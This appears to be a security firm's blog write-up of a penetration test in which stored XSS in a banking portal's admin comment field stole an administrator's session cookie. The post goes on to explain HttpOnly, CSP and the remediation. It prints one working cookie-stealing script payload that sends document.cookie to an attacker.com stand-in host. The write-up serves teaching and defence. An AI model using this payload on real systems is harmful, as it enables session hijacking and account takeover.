XSS in the Wild: How a Stored Cross-Site Script Hijacked Admin Sessions Across a Banking Portal
A stored XSS payload in a user-controlled comment field sat dormant for six weeks before it triggered — precisely when a bank administrator reviewed a flagged account. The session cookie was exfiltrated in 200 milliseconds.
Discovery: The Benign-Looking Comment Field
Comment fields in banking portals exist for compliance reasons — annotating account reviews, documenting unusual activity. They are internal. They are boring. They are also, in this case, rendered directly into the DOM without sanitization when an administrator views the account record.
The penetration test payload was simple: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. Stored in a comment on a flagged test account. Dormant until an admin reviewed it.
The Trigger and Exfiltration
When the administrator opened the account record, the script executed in the context of their authenticated session. The session cookie — not marked HttpOnly — was transmitted to our controlled listener endpoint in under 200 milliseconds. The administrator saw nothing unusual.
With the stolen session token, an attacker could impersonate the administrator for the duration of the session: view all customer accounts, initiate internal transfers, modify compliance flags, export reports.
Why HttpOnly and CSP Matter
Two controls would have completely broken this attack chain:
- HttpOnly cookies — cookies flagged HttpOnly are inaccessible to JavaScript.
document.cookiereturns nothing. The exfiltration payload fails. - Content Security Policy — a restrictive CSP (e.g.,
script-src 'self') blocks inline scripts from executing entirely.
The bank had neither. Their session cookies were readable by any script on the page.
Remediation Applied
Following the engagement, the development team implemented: output encoding for all user-controlled fields rendered in admin views, HttpOnly and Secure flags on all session cookies, a strict CSP header, and DOMPurify sanitization on all rich-text inputs.
Key Takeaway
Stored XSS is more dangerous than reflected XSS because it requires no user interaction beyond normal workflow. An administrator reviewing accounts is doing their job — not clicking suspicious links. The attack surface is the application itself.
Cybersecurity expert at HorizonShield, specializing in threat intelligence, incident response, and enterprise security architecture.